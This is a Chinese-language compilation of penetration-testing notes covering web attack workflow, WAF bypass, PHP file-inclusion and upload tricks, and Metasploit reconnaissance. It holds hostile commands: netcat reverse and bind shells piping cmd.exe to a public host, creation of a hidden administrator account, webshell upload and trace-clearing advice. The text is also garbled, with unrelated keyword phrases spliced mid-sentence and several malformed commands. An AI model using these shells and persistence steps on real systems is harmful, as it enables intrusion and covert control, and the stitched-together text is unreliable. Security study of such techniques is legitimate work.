1.web渗透是透源透代什么?
2.渗透测试-WAF绕过通用思路
3.盘点那些渗透测试中的奇*技巧
4.渗透测试章节-Metasploit(二)
web渗透是什么?
Web渗透测试分为白盒测试和黑盒测试,白盒测试是码渗码指目标网站的源码等信息的情况下对其渗透,相当于代码分析审计。意思而黑盒测试则是透源透代在对该网站系统信息不知情的情况下渗透,以下所说的码渗码Web渗透就是黑盒渗透。
Web渗透分为以下几个步骤,意思车流量检测交通灯源码信息收集,透源透代漏洞扫描,码渗码漏洞利用,意思提权,透源透代内网渗透,码渗码留后门,意思清理痕迹。透源透代一般的码渗码渗透思路就是看是否有注入漏洞,然后注入得到后台管理员账号密码,意思登录后台,上传小马,再通过小马上传大马,提权,内网转发,进行内网渗透,扫描内网c段存活主机及开放端口,看其主机有无可利用漏洞(nessus)端口(nmap)对应服务及可能存在的漏洞,对其利用(msf)拿下内网,留下后门,清理痕迹。或者看是否有上传文件的地方,上传一句话木马,chrome分析网页源码再用菜刀链接,拿到数据库并可执行cmd命令,可继续上大马.........思路很多,很多时候成不成功可能就是一个思路的问题,技术可以不高,思路一定得骚。
信息收集
信息收集是整个流程的重中之重,前期信息收集的越多,Web渗透的成功率就越高。
DNS域名信息:通过url获取其真实ip,子域名(Layer子域名爆破机),旁站(K8旁站,御剑1.5),c段,网站负责人及其信息(whois查询)
整站信息:服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型;
网站常见搭配为:
ASP和ASPX:ACCESS、SQLServer
PHP:MySQL、PostgreSQL
JSP:Oracle、MySQL
敏感目录信息(御剑,dirbust)
开放端口信息(nmp)
漏洞扫描
利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描,看其是否有可利用漏洞。
常见漏洞:
SQL注入
XSS跨站脚本
CSRF跨站请求伪造
XXE(XML外部实体注入)漏洞
SSRF(服务端请求伪造)漏洞
文件包含漏洞
文件上传漏洞
文件解析漏洞
远程代码执行漏洞
CORS跨域资源共享漏洞
越权访问漏洞
目录遍历漏洞和任意文件读取/下载漏洞
漏洞利用
用工具也好什么也好对相应漏洞进行利用
如:
Sql注入(sqlmap)
XSS(BEEF)
后台密码爆破(burp)
端口爆破(hydra)
提权
获得shell之后我们权限可能很低,因此要对自己提权,可以根据服务器版本对应的exp进行提权,对于Windows系统也可看其补丁对应漏洞的电影爬取源码exp进行提权
内网渗透
首先进行端口转发可用nc
nc使用方法:
反向连接
在公网主机上进行监听:
nc-lvp
在内网主机上执行:
nc-e cmd.exe 公网主机ip
成功之后即可得到一个内网主机shell
正向连接
远程主机上执行:
nc-l -p -t -e cmd.exe
本地主机上执行:
nc-vv 远程主机ip
成功后,本地主机即可远程主机的一个shell
然后就是对内网进行渗透了,可以用主机漏洞扫描工具(nessus,x-scan等)进行扫描看是否有可用漏洞,可用msf进行利用,或者用nmap扫描存活主机及开放端口,可用hydra进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门
留后门
对于网站上传一句话木马,留下后门
对于windows用户可用hideadmin创建一个超级隐藏账户
手工:
netuser test$ /add
netlocalgroup administrators test$ /add
这样的话在cmd命令中看不到,但在控制面板可以看到,还需要改注册表才能实现控制版面也看不到,太过麻烦,不多赘述,所以还是用工具省心省力。
渗透测试-WAF绕过通用思路
通用的渗透测试方法,包括但不限于SQL注入,就是所谓的“万金油”策略,其核心在于对所有能修改的元素进行尝试修改,包括但不限于大小写、双写、编码、注释、垃圾字符、分块传输、HTTP参数污染(HPP)等。
利用大小写差异,可以绕过一些后端直接过滤关键词为null的规则。双写技巧则能绕过过滤逻辑,利用URL、Unicode和十六进制编码等不同编码方式混淆数据包的c 游戏商店源码解读,通过注入特殊字符如注释符号来替代空格,甚至利用注释与换行结合,注释掉后面的内容并逃逸到注释之外。
通过控制数据包长度,一些WAF系统在性能考虑下直接忽略过长的包,这里可以利用分块传输方法,通过如github.com/c0ny1/chunke插件来实现。在HTTP头部加入“Transfer-Encoding:chunked”标识后,POST请求的数据需要按照分块格式传输,每个分块包含长度和数据,长度值独占一行,不包含结尾字符,最后用0表示结束。
了解HTTP 0.9协议的特性,这种协议只有GET方法,且没有HEADER信息等,WAF可能无法识别,从而达到绕过的效果。在存在多个同名参数场景下,通过参数污染策略,利用逻辑层和WAF层对参数取值的不同逻辑,插入payload并实现绕过。例如,构造如下数据包:部分中间件的处理方式包括利用Pipeline(keep-alive)特性,将TCP连接设置为不断开,直到发送内容结束,从而实现恶意代码的如何查看tensorflow源码隐蔽传递,绕过WAF。
在HTTP编码方面,转义payload后,利用WAF默认检测的UTF8编码,可以绕过关键词过滤。WAF特性绕过则包括云WAF的IP绕过,通过修改本地hosts文件或在Burp中指定解析,避免流量流向云WAF。白名单绕过则是利用WAF内部设立的文件或内容白名单,与之相关的测试payload通常不会被拦截。静态文件绕过方法则是伪装成静态文件,利用WAF对静态文件的直接放行策略。
通过Content-Type绕过,一些WAF识别特定的content-type后只检测对应漏洞,导致其他类型的payload被绕过。请求方式绕过利用一些WAF对POST请求较为宽松的处理机制,通过将请求改为GET可能实现绕过。解析兼容性绕过则涉及WEB容器对HTTP协议标准的适配,通过修改请求内容,绕过WAF的标准解析逻辑。
容器特性利用,如IIS+ASP环境中的字符处理、UNICODE解码,以及Tomcat中的路径穿越等,都是绕过WAF的有效手段。通过全面字符模糊测试,观察容器的处理方式,发现容器处理逻辑的弱点,进而实现绕过拦截。
盘点那些渗透测试中的奇*技巧
总结下渗透测试中的一些小技巧,仅做总结。
0x php文件包含姿势
这类姿势国外黑阔早有总结,比如包含上传的文件,当然文件可控。利用php封装协议php://input和data://,包含post数据造成php命令执行,当然allow_url_include选项需要打开。包含log文件也是可以,当我们提交恶意代码时也会被记录,于是包含记录了恶意代码的log文件是个好主意。包含/proc/self/environ文件:这需要PHP运行作为一个具有cgion/proc伪文件的系统且PHP脚本有权访问这些伪文件。包含会话文件需要攻击者能控制会话中的任何字符串值(注入代码,例如phpinfo(),会话文件必须存放在serializedsession文件且PHP脚本能够访问会话文件(通常是/tmp/ sess_SESSIONID文件)。包含其他由php应用创建的文件,只要你能想到的,都可以尝试创建然后包含他,比如数据库文件,缓存文件,应用程序级别的日志。
0x .htaccess文件突破黑名单解析
因为是黑名单,自定义.htaccess上传,内容为test.jpg文件,没有扩展名,内容是一句话,这个时候就成功绕过。
0x php流封装绕过截断
主要利用了PHP的一个流封装特性,可以参考PHP官方文档中的Example #3。假设存在文件包含的代码,但%无法截断,只能包含 xxxx.html.php。首先新建hello.html.php,内容为phpinfo();然后压缩成zip,结构如下图。然后访问网址,成功包含压缩文件内的hello.html.php。把我们输入的变量和include后面的变量合起来就是zip://test.zip#hello.html.php,代表当前目录下的test.zip压缩包里面的hello.html.php,于是包含成功。
0x 通用防注入系统getshell
相信许多朋友渗透测试都遇到过这种情况,系统做了数据提交记录,通过阅读类似程序的源码得知数据记录在sqlin.asp。于是想到直接提交一句话木马,但没有成功。提交and 1= ,通过菜刀连接sqlin.php即可。
0x iis+php黑名单上传突破
在php+window+iis环境下,双引号(“>”)等价于点号(“.”),大于符号(“>”)等价于问号(“?”),小于符号(“<“)等价于星号(“*”)。虽然有这么多好玩的东西,但这特性只能用于文件上传时覆盖已知的文件,于是这特性便略显鸡肋。但通过一系列的测试发现,P牛已经给出完美利用的方法。首先利用特殊办法生成一个php文件,然后再利用该特性将文件覆盖。可问题来了,怎样生成php文件呢?如果可以直接生成php文件的话,干嘛还要利用那什么特性?别急,办法总是有的。我们知道在文件上传时,我们往往会考虑到文件名截断,如%等。对!有的人可能还会用冒号(“:”)去截断,如:bypass.php:jpg。但你知道吗?冒号截断产生的文件是空白的,里面并不会有任何的内容。虽然生成的php文件里面没有内容,但是php文件总生成了吧,所以我们可以结合上面所说的特性完美成功利用。按照上面提供的思路,实现本地测试地址:网站进行测试,搜集其所属公司系统和可攻击系统,需在遵守网络规范下进行。
1.whois查询:查找testfire.net域名服务器(DNS)。
·DNS服务器部署在公司内部,是攻击点。拓展更多信息。
·msf下直接使用whois查询,发现DNS服务器由AKAM.NET提供。这是未授权系统,不可攻击。
2.Netcraft网页界面工具:发现网站承载服务器IP地址。
知道IP地址后再次使用whois工具确认:
·发现testfire.net子网范围不在注册名下,可能是第三方网络托管服务。
3.nslookup:获取服务器附加信息。
·查询结果显示DNS由第三方运维,不在渗透测试范围内。
4.Google Hacking:快速搜集目标网站信息,使用搜索引擎。
·输入site:testfire.net admin,快速发现管理员登录后台。
·输入site:testfire.net login,快速发现ASP源码泄露,文件包含和SQL注入漏洞。
注:ASP是一种动态网页生成环境,生成的HTML代码由浏览器端显示。
主动信息搜集
执行端口扫描确定目标系统开放端口和服务(需小心,避免触发IDS或IPS)。使用Windows XP虚拟机作为攻击对象。
·扫描显示开放端口信息。
·获取更多信息:执行渗透测试,记录多个测试目标。
·开启数据库子系统:/etc/init.d/postgresql start
·使用Metasploit连接数据库实例:msf > db_connect postgres:toor@.0.0.1/msf (Kali中默认用户名和密码)
·确认数据库连接成功:msf > db_status
可利用Metasploit对NAT后主机进行攻击,通过已攻陷主机作为跳板,将流量传送到网络内部主机。
·查看Metasploit框架提供的端口扫描工具:search portscan
·使用Metasploit的SYN端口扫描器对单个主机进行简单扫描,显示开放端口(需耐心等待)
含义:寻找目标网络中存在的漏洞或可轻松获取后门的系统、服务、软件和配置缺陷,提供五种扫描方法。
利用Metasploit的smb_version模块遍历网络,获取Windows系列版本信息。
·扫描显示攻击对象是Windows XP系统,已安装三个补丁。
使用mssql_ping模块,使用UDP协议监听同一局域网中的TCP端口或随机动态TCP端口。
·扫描结果提供目标服务器上运行的SSH版本信息。
FTP协议复杂且安全性低。
·扫描器识别FTP服务器,检测匿名用户登录权限。
简单网管协议(SNMP)通常用于网络设备报告信息。可访问的SNMP服务器能泄露系统信息,导致远程攻陷。
编写自定义扫描器非易事,挑战仍在前方。下次再见!